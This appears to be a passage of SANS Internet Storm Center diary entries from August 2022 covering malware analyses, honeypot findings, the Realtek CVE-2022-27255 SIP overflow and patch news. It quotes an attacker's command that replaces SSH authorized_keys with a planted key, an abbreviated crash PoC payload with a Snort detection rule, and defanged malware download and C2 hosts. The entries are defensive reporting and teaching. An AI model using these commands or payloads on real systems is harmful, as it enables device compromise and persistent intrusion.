  • File location: C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.log
  • File description: Malicious data binary, AutoIt v3 compiled script run by above Windows EXE for AutoIt v3

Final words

A pcap of the infection traffic, the associated malware/artifacts, and the email that kicked off this infection are available here.

Brad Duncan
brad [at] malwre-traffic-analysis.net

0 Comments

Published: 2022-08-19

Windows Security Blocks UPX Compressed (packed) Binaries

Nothing surprising, but a nice story for the weekend: I was experimenting with compiling some Python scripts to run them as native Windows programs this week. I used "pyinstaller" to convert the Python script into an executable. But I was a bit shocked by the large size of the binaries (ok. I should have expected that). So I attempted to compress them with UPX, which creates nice self-extracting binaries.

Another thing that should not have surprised me: As soon as I compressed ("packed") the binary, Windows Security flagged them as malicious. Windows Security had no problem with the upx binary, only with binaries packed by upx. Part of the reason may have been that I did not sign my packed binary. I still have to see if that will help.

Here are the steps to reproduce:

  1. Create a one-liner: print("Hello World") and save as helloworld.py
  2. run pyinstaller --onefile helloworld.py which gets you helloworld.exe
  3. pack it with upx: upx -ohelloworldsmall.exe helloworld.exe

And wait for the Windows Security popup. You do not have to run the actual binary. Windows Security will also promptly remove it.

I specifically used a script that did not use any external libraries. There are no malicious packages I accidentally include if I do not include anything. I double-checked the UPX tool and downloaded it from various sites to ensure I didn't accidentally download a malicious version. The tool I can't verify is pyinstaller, but I did download it via pip (that doesn't say much)

This issue isn't new. About 15 years ago, Tom Liston created a tiny Windows executable (it may have been the taskbar globe to show the Infocon for Windows XP?). Tom is very proud of writing efficient code, and I am sure his executable was already much smaller than the 9 MBytes my "Hello World" script took. But he made it even smaller with UPX, which led to many anti-malware tools marking it as malicious.

Attackers lover UPX. Not only does it make binaries smaller, but it also makes it more difficult to reverse them. There are also tricks where corrupt UPX files are not analyzed by some sandboxes but will run fine if a user executes them.

But it also shows how lazy some of the signatures deployed by anti-virus vendors are. The UPX binary itself is also considered malicious by a couple of vendors. UPX does have legitimate uses and, by itself, is certainly not malicious. Here are some past reports of Windows Security flagging UPX: https://github.com/upx/upx/issues/337 . And the virus total page for the current Windows UPX binary:

32-Bit Version: https://www.virustotal.com/gui/file/d634cde09d1aa1320a1d4c589d35d306f8350129faf225b2bca394128c2c4442
64-Bit Version: https://www.virustotal.com/gui/file/24624a9d3786d7ba93575383edf694505453af59b39b0463260a75c6344d0ae7
(Interestingly, Palo Alto considers the 32 Bit version malicious, but the 64 Bit Version is ok)


Virustotal detection for the 32-Bit version of UPX

 

Quick video demo of the experiment: https://youtu.be/DvAqnupF4fQ

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-18

Honeypot Attack Summaries with Python

This diary was contributed by Jesse La Grew

Looking through Cowrie [1] data on a DShield honeypot [2] can be a bit of a challenge sometimes. Great tools like jq [3] can make this much easier but adding some context can be useful. We are lucky to have a variety of tools available to enrich existing honeypot data, but also automate that enrichment. I put together a script to try and help myself achieve a simple goal. That goal was to have the capability to review attacks seen on my honeypot from a tablet without needing to type any complicated commands. 

The script I put together is available on GitHub [4]. The script will quickly summarize data and use a variety of sources to enrich the information, including VirusTotal, URLHaus and the DShield API. 
 

                       Session  3e4b2ebfca1e                                      
                      Protocol  ssh                                               
                      Username  admin                                             
                      Password  159753`!@#$                                       
                     Timestamp  2022-05-26T10:25:16.342089Z                       
             Source IP Address  43.154.21.227                                     
               URLhaus IP Tags                                                    
                        ASNAME  TENCENT-NET-AP-CN Tencent Building, Kejizhongyi Avenue
                     ASCOUNTRY  CN                                                
            Total Commands Run  16    

------------------- DOWNLOAD DATA -------------------

                  Download URL                                                    
         Download SHA-256 Hash  a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
              Destination File  /home/admin/.ssh/authorized_keys                  
                VT Description  Text                                              
      VT Threat Classification  trojan.shell/malkey                               
            VT First Submssion  2018-07-05 12:21:41
             VT Malicious Hits  18    

////////////////// COMMANDS ATTEMPTED //////////////////

# cat /proc/cpuinfo | grep name | wc -l
# echo -e "159753`!@#$\nJXGUdliDnWEk\nJXGUdliDnWEk"|passwd|bash
# echo "159753`!@#$\nJXGUdliDnWEk\nJXGUdliDnWEk\n"|passwd
# cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
# free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
# ls -lh $(which ls)
# which ls
# crontab -l
# w
# uname -m
# cat /proc/cpuinfo | grep model | grep name | wc -l
# top
# uname
# uname -a
# lscpu | grep Model
# cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

 

The data received from the tool gives a summary of the overall attack, information on data uploaded or downloaded to the honeypot and any additional commands that were run on the device. In this case, we see a very common attack that does some device reconnaissance to understand what software is running on the device and what kind of device is being connected to. We also see a password change attempt and an authorized_keys file upload to maintain persistence.

Another example shows some additional data enrichment for other malicious files. Tis example also highlights the recent VirusTotal submission, which could indicate new malware.

screen shot of report with sections highlighted.
Figure 1: Breakdown of Cowrieprocessor output.

This helped to solve my summarization problem but left a challenge on how to easily access this data on a tablet. An option that I added to my script was the ability to upload the data to a Dropbox account. This utilizes a feature within Dropbox that allows creating an App for an account so that data can be programmatically modified using the Dropbox API [5].


Figure 2: Dropbox app upload example of Cowrieprocessor summaries

Now, the data is easily accessible and can be reviewed on a regular basis without special tools. Currently, this is set up as a cronjob running multiple times a day on my honeypot.

For future analysis options, this summary data is also stored on a local SQLite database and can be used for looking for trends over longer periods of time. From the previous “malkey” example, we can see that there have been many similar attacks using the same authorized_keys file data.


Figure 3: SQLite data matching malkey file hash

Other data artifacts are also stored in this process that can be used for future analysis. Only small portions of the VirusTotal are used in the summary reports. Local copies of the full VirusTotal API response is stored in the file system within the Cowrieprocessor working directory. A future article will look to dig into some of this additional data.

Comments, feedback, and suggestions are welcome!

[1] https://github.com/cowrie/cowrie
[2] https://github.com/DShield-ISC/dshield
[3] https://stedolan.github.io/jq/
[4] https://github.com/jslagrew/cowrieprocessor
[5] https://www.dropbox.com/developers/reference/getting-started#app%20console

---

Jesse La Grew
Twitter: @stealthcrane

0 Comments

Published: 2022-08-17

Apple Patches Two Exploited Vulnerabilities

Apple fixed two vulnerabilities that are, according to Apple, already being exploited. The WebKit vulnerability could be used by a malicious website to execute arbitrary code, while the Kernel issue can then be used to escalate privileges. No additional details are known at this point.

 

MacOS Monterey iOS/iPadOS
CVE-2022-32894 [important] Kernel
An out-of-bounds write issue was addressed with improved bounds checking.
An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.
x x
WebKit Bugzilla [critical] WebKit
An out-of-bounds write issue was addressed with improved bounds checking.
Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
x x

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-17

A Quick VoIP Experiment

To better detect any exploit attempts taking advantage of the recent Realtek vulnerability, I experimented with the open source VoIP server Asterisk. I just set it up, listening for inbound connections. The server had no existing accounts configured or connected to an upstream VoIP service. Using it for actual phone calls was impossible, but it would respond.

Even without exposing a VoIP service, there is always a trickle of SIP traffic, probing if something is listening. Here is a random packet from my home network:

INVITE sip:0011972567100000@[redacted] SIP/2.0
Via: SIP/2.0/UDP 62.210.6.91:4040;branch=zgwRH80hCA
Max-Forwards: 70
From: <sip:[redacted]@[redacted]>;tag=159263
To: <sip:0011972567100000@[redacted]>
Call-ID: zgwRH80hCA0fUGY
CSeq: 1 INVITE
Contact: <sip:[redacted]@62.210.6.91:4040>
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO
User-Agent: Gigaset N670 IP PRO/83.V2.23.0
Content-Type: application/sdp
Content-Length: 180

v=0
o=8001 16264 18299 IN IP4 0.0.0.0
s=SIP Call
c=IN IP4 0.0.0.0
t=0 0
m=audio 25282 RTP/AVP 0 101
a=rtpmap:0 pcmu/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-11

This appears to be an attacker at 62.210.6.91 attempting to call a number in Israel."5", the digit following the country code, should indicate that this is a mobile number according to Wikipedia, with 56 being used in the Palestinian territories. But it may very well be that automated scripts use non-existing numbers and the standard responses for non-existing numbers to determine if a specific SIP server can be used.

Once I set up the Asterisk server, the attempts to connect immediately exploded (this is data from a /24):

number of inbound attempts to port 5060 per hour

I was experimenting with the setup, which may explain the decrease after the first spike. These logs are also "sampled," so the number of connections was much higher.

The main attack I observed was brute forcing attempts. As I didn't set up an upstream provider, all calls were considered "local" by the server. A request like the above would result in an "extension not found" error. Throughout this experiment, I received 77,610 requests (about two days' worth of data).

The most dialed number was +1 (708) 838 2179. A number in Chicago, but a quick Google search didn't return anything significant. The second most common number dialed was +972 59 5144330, another number in the Palestinian territories.

In addition, we had 28 Million(!) attempts to log in to connect an extension to our VoIP server. The most used extensions were 100, 101, 10, 200, and 1000. All extensions are often the first ones registered.

There is no big and exciting lesson here. But the number of attacks you see may depend on what services you expose, and a SIP server appears to attract the scans like [insert witty analogy here].

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-16

VBA Maldoc & UTF7 (APT-C-35)

I was asked for help with this maldoc sample: 394c97cc9d567e556a357f129aea03f737cbd2a1761df32146ef69d93afc73dc.

It can be found on MalwareBazaar too.

Looking at it with oledump.py, we can see the VBA code:

This is the VBA code:

A couple of declare functions for WIN32 API functions.

Filling of an array with hexadecimal values (&H..):

And then calling the WIN32 API functions:

Let me translate their meaningless names into something more understandable:

And now we see MultiByteToWideChar is called. Remember, for later in this analysis, that its first argument is 65000.

Let's grep for the 32-bit code:

And decode the hexadecimal data with re-search.py:

There are some NUL (0x00) bytes in there that we need to fix, since they only take one hexadecimal character:

And now we can convert this to binary:

This string here, is converted with MultiByteToWideChar and argument 65000. 65000 is the code page for UTF7. So we need to convert this from UTF7 to UTF16. This can be done with translate.py:

This throws an error because of a character that can't be encoded. I'm just going to ignore errors, and see where we end:

This is very interesting: binary data followed by source code (assembler). This is probably a mistake by the malware authors, they've appended part of the source code to the binary shellcode.

I will save this shellcode to disk, and analyze it with scdbg:

The shellcode executes and crashes after 3332 steps. The analysis report doesn't find anything in memory.

Let's try with the 64-bit shellcode:

This shellcode has decoded itself into memory. Let's dump it and take a look:

And here we see the URL (the protocol is a bit obfuscated, this could be the result of the UNICODE translation error I ignored).

Turns out that this is a sample from APT-C-35, according to this blog post (I found it by searching for MyAssemblyMacrosMain which appears in the leaked source code).

And I will need to figure out why scdbg was able to analyze the 64-bit shellcode and not the 32-bit, because IIRC, scdbg doesn't handle 64-bit shellcode ...

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-08-14

Realtek SDK SIP ALG Vulnerability: A Big Deal, but not much you can do about it. CVE 2022-27255

On Friday, Octavio Gianatiempo & Octavio Galland released details about a vulnerability in Realtek's eCos SDK. The release came as part of their talk at Defcon. Realtek patched the vulnerability they spoke about in March. But this patch may not do you much good. The vulnerability affects Realtek's SDK. Various vendors use this SDK as part of the equipment that uses Realtek's RTL819x SoCs. Affected vendors need to release patched firmware to mitigate this vulnerability. Many affected vendors have not yet released updates.

BLUF:

  • Devices using firmware built around the Realtek eCOS SDK before March 2022 are vulnerable
  • You are vulnerable even if you do not expose any admin interface functionality
  • Attackers may use a single UDP packet to an arbitrary port to exploit the vulnerability
  • This vulnerability will likely affect routers the most, but some IoT devices built around Realtek's SDK may also be affected.

You may check the complete slide deck from the talk here https://github.com/infobyte/cve-2022-27255/blob/main/DEFCON/slides.pdf.

We created a brief more "manager-focused" presentation here: https://isc.sans.edu/presentations/Realtek_SDK_SIP_Vulnerablity.pptx. Feel free to use and modify as needed.

The Realtek SDK implements an Application Layer Gateway (ALG) for SIP. Many routers do that to allow SIP to work past NAT. NAT alters a packet's IP addresses. But the SIP payload also includes the IP addresses, and the ALG ensures that the IP addresses in the payload match the routable IP address of the gateway.

Here is a quick sample SIP payload from one of our honeypots:

INVITE sip:9810972595144330@46.244.23.4 SIP/2.0
To: 9810972595144330<sip:9810972595144330@46.244.23.4>
From: 30<sip:30@46.244.23.4>;tag=bb9c670d
Via: SIP/2.0/UDP 10.6.0.4:5076;branch=z9hG4bK-fd0aa04ce6b4b1c2ddfbe740e2bf453e;rport
Call-ID: fd0aa04ce6b4b1c2ddfbe740e2bf453e
CSeq: 1 INVITE
Contact: <sip:30@10.6.0.4:5076>
Max-Forwards: 70
Allow: INVITE, ACK, CANCEL, BYE
User-Agent: sipcli/v1.8
Content-Type: application/sdp
Content-Length: 271

v=0
o=sipcli-Session 991233794 534482564 IN IP4 10.6.0.4
s=sipcli
c=IN IP4 10.6.0.4
t=0 0
m=audio 5077 RTP/AVP 18 0 8 101
a=fmtp:101 0-15
a=rtpmap:18 G729/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=ptime:20
a=sendrecv

The critical part is highlighted in orange/red. An attacker can trigger a stack-based buffer overflow by sending an arbitrary string. The paper demonstrates how code execution is easily accomplished.

According to the presentation, POCexploit would look as simple as (abbreviated. Needs at least 256 "a"s):

INVITE sip:x SIP/2.0
Content-Length: 388

v=0
o=jdoe 2890844526 2890842807 IN IP4
10.47.16.5
c=IN IP4 24.2.17.12
t=2873397496 2873404696
a=recvonly
m=audio 49170 aaaaaaaaaa...aaaaaaaa 

Only the last line matters. This simple PoC should crash a vulnerable device. This and other exploits are available via the presentation author's GitHub repo (https://github.com/infobyte/cve-2022-27255)

You can find a PCAP I recorded from one of the exploits (the one starting a telnet server) here: exploit.pcap

So what can you do about this?

First of all, make sure your firmware is up to date. There is a chance that your vendor did release an update. Secondly, if you can block unsolicited UDP requests at your perimeter, this isn't easy, and you must be careful not to block anything critical. But remember, you only need to block "unsolicited inbound" traffic. Traffic like DNS responses is still ok. This may be an option depending on the capabilities of your firewall. Protocols like gaming and some VoIP systems may give you a more difficult time with rules like this. For VoIP, you may be able to allowlist your VoIP provider. 

Other than that: Be vigilant. Do not "trust" your router (which means moving to more host-based controls or, dare I say it: Zero trust. Nothing you are going to fully implement today.

Below I included my snort rule for this exploit. Let me know if it can be improved. It works for the PoC exploit. I decided against using the SIP preprocessor. At least in Snort 2.9, the SIP preprocessor only looks at specific ports, and the exploit may use any port. Asking the SIP preprocessor to look at any port is likely not efficient. Snort 3 may be different here with its better protocol detection. As this is a single UDP packet exploit, using the stream preprocessor doesn't make too much sense either. You may want to adjust the target IP from "any" to the IP address of the device that you are protecting. I kept the metadata light to not distract from the actual rule.

alert udp any any -> any any (sid:1000000; \
msg:"Realtek eCOS SDK SIP Traffic Exploit CVE-2022-27255"; \
content: "invite"; depth: 6; nocase; \
content: "m=audio "; \
isdataat: 128,relative;   content:!"|0d|"; within: 128;)

The rule looks for "INVITE" messages that contain the string "m=audio ". It triggers if there are more than 128 bytes following the string (128 bytes is the size of the buffer allocated by the Realtek SDK) and if none of those bytes is a carriage return. The rule may even work sufficiently well without the last content match. Let me know if you see any errors or improvements.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-13

Phishing HTML Attachment as Voicemail Audio Transcription

I have been seeing this form of phishing in Microsoft Office 365 for several weeks. The email comes in as an attachment like this with a phone icon preceding it:

I saved a copy of the file to examine its content in CyberChef which decoded the top part of the HTML file showing the target email address (I replaced it) with the URL the HTML will open to:

 

 

The URL actually has an error where d!irty (where the exclamation mark is an i) is actually dirty. I moved the code up in the Input to decode the base64 content and the decoded text has error checking for empty or to short password: "Your account password cannot be empty. If you don't remember your password reset it now"

 

 

Analysis of the file if opened would look like this:

 

 

Indicator

netaccelaration[.]com/zips/dirty.php
netaccelaration[.]com/zips/d!rty.php

 

[1] https://gchq.github.io/CyberChef/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2022-08-12

Monster Libra (TA551/Shathak) pushes IcedID (Bokbot) with Dark VNC and Cobalt Strike

Introduction

Since 2019, threat actor Monster Libra (also known as TA551 or Shathak) has pushed different families of malware.  During the past few months, Monster Libra has primarily pushed SVCready or IcedID.  Today's diary reviews an example of Monster Libra pushing IcedID on Thursday 2022-08-11, and that IcedID infection led to Dark VNC activity and Cobalt Strike.
 


Shown above:  Chain of events for IcedID infection distributed through Monster Libra.
 

Images From the Infection
 


Shown above:  Screenshot of a Monster Libra email.
 


Shown above:  Screenshot of the attached Word document.
 


Shown above:  Files that appeared after enabling macros
 


Shown above:  Scheduled task for persistent IcedID infection.
 


Shown above:  Traffic from an infection filtered in Wireshark (image 1 of 2).
 


Shown above:  Traffic from an infection filtered in Wireshark (image 2 of 2).
 

Indicators of Compromise (IOCs)
 

20 Word docs found on VT:
 

  • 2,316,894 bytes - [name removed] doc 08.11.2022.doc
  • 2,343,230 bytes - [name removed] doc 08.11.2022.doc
  • 2,349,822 bytes - [name removed] doc 08.11.doc
  • 2,316,250 bytes - [name removed] file 08.11.2022.doc
  • 2,365,937 bytes - [name removed] file 08.11.22.doc
  • 2,298,962 bytes - [name removed] invoice 08.11.22.doc
  • 2,343,139 bytes - [name removed],doc,08.11.22.doc
  • 2,365,983 bytes - [name removed],document,08.11.22.doc
  • 2,298,458 bytes - [name removed],file,08.11.2022.doc
  • 2,298,562 bytes - [name removed],file,08.11.22.doc
  • 2,297,841 bytes - [name removed]-doc-08.11.2022.doc
  • 2,350,727 bytes - [name removed]-invoice-08.11.22.doc
  • 2,315,700 bytes - [name removed].doc.08.11.22.doc
  • 2,316,502 bytes - [name removed].document.08.11.2022.doc
  • 2,316,883 bytes - [name removed].document.08.11.2022.doc
  • 2,316,402 bytes - [name removed].invoice.08.11.2022.doc
  • 2,351,271 bytes - [name removed]doc08.11.doc
  • 2,366,716 bytes - [name removed]document08.11.22.doc
  • 2,298,836 bytes - [name removed]document08.11.doc
  • 2,349,614 bytes - [name removed]file08.11.22.doc

SHA256 hashes of the 20 Word docs:
 


Files from an infected Windows host:

SHA256 hash: 6cbe0e1f046b13b29bfa26f8b368281d2dda7eb9b718651d5856f22cc3e02910

  • File size: 61,440 bytes
  • File location: C:\Windows\SysWOW64\rundll32.exe
  • File location: C:\Users\[username]\AppData\Local\Temp\r2FB9.tmp.exe
  • File description: Copy of legitimate Microsoft system file rundll32.exe.  This is not inherently malicious.

SHA256 hash: 8cd135e5b49d16aceb7665b6316cd4df2e132ef503ff0af51c080bad7010efd6

  • File size: 360,448 bytes
  • File location: hxxp://45.8.146[.]139/fhfty/6VGPA_LVJVCA8YKG3HF2E1-VHCR4UDER/-f
  • File location: C:\Users\[username]\AppData\Local\Temp\y2D56.tmp.dll
  • File description: 64-bit DLL to install IcedID retrieved by Word macro
  • Run method: rundll32.exe [filename],#1

SHA256 hash: 5af2d2e245b36447fffff463b66164807f505dc9efcbe7fadfe4d450b1715c46

  • File size: 688,572 bytes
  • File location: hxxp://alexbionka[.]com/
  • File description: gzip from alexbionka[.]com, used to create license.dat and persistent IcedID DLL

SHA256 hash: 1de8b101cf9f0fabc9f086bddb662c89d92c903c5db107910b3898537d4aa8e7

  • File size: 342,218 bytes
  • File name: C:\Users\[username]AppData\Roaming\LampEyebrow\license.dat
  • File description: Data binary used to run persistent IcedID DLL

SHA256 hash: d45c78fa400b32c11443061dcd1c286d971881ddf35a47143e4d426a3ec6bffd

  • File size: 345,600 bytes
  • File name: C:\Users\[username]\AppData\Roaming\[username]\[username]ijexogdf64.dll
  • File description: Persistent 64-bit DLL for IcedID
  • Run method: rundll32.exe [filename],#1 --keac="[path to license.dat]"

Note: No binaries were saved to disk for DarkVNC or Cobalt Strike.

 

Traffic for IcedID installer DLL:

 

  • hxxp://45.8.146[.]139/fhfty/6VGPA_LVJVCA8YKG3HF2E1-VHCR4UDER/-f

Traffic for gzip binary:

  • 64.227.108[.]27:80 - alexbionka[.]com - GET / HTTP/1.1

IcedID C2 activity:

  • 103.208.86[.]124:443 - klareqvino[.]com - HTTPS traffic
  • 46.21.153[.]211:443 - wiandukachelly[.]com - HTTPS traffic
  • 84.32.188[.]164:443 - ultomductingbig[.]pro - HTTPS traffic

DarkVNC activity:

  • 212.114.52[.]91:8080 - encoded/encrypted TCP traffic

Cobalt Strike activity:

  • 174.139.150[.]128:8080 - projectextracted[.]com - HTTPS traffic

Final Words

IcedID continues to be an active malware in our current threat landscape.  Threat actors like Monster Libra continue to push IcedID through malspam-based campaigns as described in this diary.  We expect to find more of this activity in the coming weeks.

Brad Duncan
brad [at] malwre-traffic-analysis.net

0 Comments

Published: 2022-08-11

InfoStealer Script Based on Curl and NSudo

If sudo[1] is a well known tool used daily by most UNIX system administrators, NSudo[2] remains less below the radar. This is a tool running on Microsoft Windows which allows you to execute processes with different access tokens and privileges like:

  • System
  • TrustedInstaller
  • CurrentUser

It can be used with a GUI:

Or command line:

C:\Users\REM\Downloads>nsudo.exe -U:T -P:E cmd.exe

Of course, when executed, the tool will trigger the UAC (“User Account Control”) of Windows depending on your current rights.

The script that I found makes use of this tool but first, it verifies if the user has enough rights otherwise, it will trigger the UAC:

A specific version of NSudo is downloaded from a third-party repository through the classic bitsadmin LOLbin. I still need to check if this binary has been weaponized but it seems no. It's just an old version. Then, NSudo is invoked multiple times to alter the victim’s computer settings:

This is a classic behaviour today, information is exfiltrated via a Discord channel. You can see that curl.exe (today, installed by default on all modern Windows instances) is used to post interesting data to the attacker's channel.

The following data are exfiltrated:

  • Screenshot
  • Full location (Country, City, ...)
  • Processes
  • Users, cmdkey, quser
  • IP settings
  • Browsers details (Chrome, Brava, Opera, Vivaldi)

Less common, the script also exfiltrates data about installed gaming applications:

  • OSU!
  • Steam
  • Minecraft
  • GrowTopia

NSudo is not common and should be added to the list of suspicious tools to track in your eventlogs!

[1] https://www.sudo.ws
[2] https://nsudo.m2team.org/en-us/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-08-10

And Here They Come Again: DNS Reflection Attacks

I know I have written about this same attack before [see here]. But well, it just doesn't stop. There has been a continuous stream of these requests to our sensors ever since. Some of the currently preferred queries used:

ANY? peacecorps.gov. (the irony... but look at the record. It is asking for amplification. It seems like they built it to max out EDNS0)
ANY? sl.

Current targets appear to be a couple of networks in Brazil. I am not aware of any particular valuable sites being hosted by them.

But the systems they are hitting with these persistent attacks are not even acting as DNS servers anymore (and haven't been open reflectors for years). All they do with their queries is pollute the internet without effect, like throwing a candy wrapper in a stream with the candy still in it.

Either way. Let's use this to review a quick checklist on proper DNS server configuration:

1. Have Distinct Authoritative and Recursive Name Server

Authoritative name servers will answer queries from anybody for specific zones. Keep them in the cloud and forget about the details. Recursive servers will answer any query from a particular constituency. Keep them inside your network, make them forward queries to a resolver of your choice, and monitor them closely.

Having an internal recursive resolver and tightly restricting outbound DNS traffic can be an invaluable detection and response resource (e.g., Pi-Hole for home use). You may gain a bit of speed by forwarding queries to a resolver like '8.8.8.8' or similar instead of resolving it recursively. It also makes your firewall configuration easier.

2. Diversity of Your Authoritative Name Servers

I mentioned putting them into the cloud. I meant to say: At least two clouds. And come up with a secure way to manage them. Let me know what tricks you have to make this work for you.

3. Use DNSSEC at your own risk

I do not say, "do not use it." But if you do: Make sure you halfway understand how it works and what it does. I use DNSSEC on some of my domains, and due to me not understanding it well, I had some outages (for example, for dshield.org) in the past. 

4. Monitor Your Domains

Someone intentionally or not making unauthorized changes to your domain/zone can cause some interesting issues. If you like "interesting,": go for it. If you want to keep your job, get paid, and not work too much overtime: Put some monitoring in place to alert you about changes. The monitoring system can do simple periodic zone transfers and look for changes. Do not just rely on the serial number.

5. Do not overload DNS with other crap

Sometimes, people abuse DNS as a database. It is not a database and never was built to be used as one. If you insist: Use a distinct domain and infrastructure. Oh. It can be pretty, fast, and reliable. Until it is not.

6. DNS is not "set it and forget it."

DNS is pretty low maintenance in most configurations. But remember to keep things up to date and do a thorough configuration review from time to time. DNS is one of those services suffering from the death of thousand cuts: You tend to make lots of little "inconsequential" changes that pile up to something that just no longer works.

7. And finally... remember:

DNS haiku: It's not DNS There's no way it's DNS It was DNS

(Image from https://www.cyberciti.biz/humour/a-haiku-about-dns/ )

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-09

Microsoft August 2022 Patch Tuesday

This month we got patches for 141 vulnerabilities. Of these, 17 are critical, 2 were previously disclosed, and one is already being exploited, according to Microsoft.

The exploited vulnerability is a Remote Code Execution (RCE) affecting Microsoft Windows Support Diagnostic Tool (MSDT) (CVE-2022-34713). According to the advisory, exploitation of the vulnerability requires that a user open a specially crafted file in different scenarios:

• In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file.

• In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) containing a specially crafted file designed to exploit the vulnerability.

This CVE is a variant of the vulnerability publicly known as Dogwalk. The CVSS for this vulnerability is 7.8.

Amongst critical vulnerabilities, there is an RCE Windows Point-to-Point Protocol (PPP) (CVE-2022-30133). The exploit vector for this vulnerability is ‘network’, no privilege is required, and it does not require any user interaction, which means this could be a wormable vulnerability. According to the advisory, “This vulnerability can only be exploited by communicating via Port 1723. An unauthenticated attacker could send a specially crafted connection request to a RAS server, which could lead to remote code execution (RCE) on the RAS server machine.”. If you have this service exposed to the Internet, it is recommended to apply the patch quickly. As a temporary workaround prior to installing the updates that address this vulnerability, you can block traffic through that port thus rendering the vulnerability unexploitable. The CVSS for this vulnerability is 9.8.

Another critical vulnerability worth mentioning is an elevation of privilege affecting Active Directory Domain Services (CVE-2022-34691). According to the advisory, “An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege to System.”. A system is vulnerable only if Active Directory Certificate Services is running on the domain. The CVSS for this vulnerability is 8.8.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com/

August 2022 Security Updates

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Spoofing Vulnerability
%%cve:2022-34716%% No No Less Likely Less Likely Important 5.9 5.2
Active Directory Domain Services Elevation of Privilege Vulnerability
%%cve:2022-34691%% No No Less Likely Less Likely Critical 8.8 7.7
Azure Batch Node Agent Elevation of Privilege Vulnerability
%%cve:2022-33646%% No No More Likely More Likely Critical 7.0 6.3
Azure RTOS GUIX Studio Information Disclosure Vulnerability
%%cve:2022-34685%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2022-34686%% No No Less Likely Less Likely Important 5.5 5.0
Azure RTOS GUIX Studio Remote Code Execution Vulnerability
%%cve:2022-30175%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2022-30176%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2022-34687%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2022-35773%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2022-35779%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2022-35806%% No No Less Likely Less Likely Important 7.8 7.0
Azure Site Recovery Denial of Service Vulnerability
%%cve:2022-35776%% No No Less Likely Less Likely Important 6.2 5.6
Azure Site Recovery Elevation of Privilege Vulnerability
%%cve:2022-35802%% No No Less Likely Less Likely Important 8.1 7.1
%%cve:2022-35780%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35781%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35799%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35774%% No No Less Likely Less Likely Important 4.9 4.4
%%cve:2022-35800%% No No Less Likely Less Likely Important 4.9 4.4
%%cve:2022-35775%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35801%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35807%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35808%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35782%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35809%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35783%% No No Less Likely Less Likely Important 4.4 4.0
%%cve:2022-35784%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35810%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35811%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35785%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35812%% No No Less Likely Less Likely Important 4.4 4.0
%%cve:2022-35786%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35787%% No No Less Likely Less Likely Important 4.9 4.4
%%cve:2022-35813%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35788%% No No Less Likely Less Likely Important 6.5 5.9
